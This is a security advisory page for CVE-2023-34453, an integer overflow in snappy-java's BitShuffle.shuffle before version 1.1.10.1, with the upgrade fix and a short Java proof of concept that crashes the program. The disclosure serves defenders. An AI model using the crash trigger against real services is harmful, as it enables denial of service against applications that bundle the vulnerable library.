Integer Overflow or Wraparound Affecting org.xerial.snappy:snappy-java package, versions [,1.1.10.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (49th percentile)

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  • Snyk IDSNYK-JAVA-ORGXERIALSNAPPY-5710959
  • published16 Jun 2023
  • disclosed15 Jun 2023
  • creditOri Hollander

Introduced: 15 Jun 2023

CVE-2023-34453  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

Upgrade org.xerial.snappy:snappy-java to version 1.1.10.1 or higher.

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the shuffle(int[] input) function due to improper validation of the multiplications done on the input length. Exploiting this vulnerability is possible by passing negative, zero, float, very small, or very long values to the shuffle functions, which later on are multiplicated by four. A successful exploration results in “java.lang.ArrayIndexOutOfBoundsException" or “java.lang.NegativeArraySizeException” exceptions which can crash the program.

PoC

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
    at org.example.Main.main(Main.java:12)

Process finished with exit code 1

CVSS Scores

version 3.1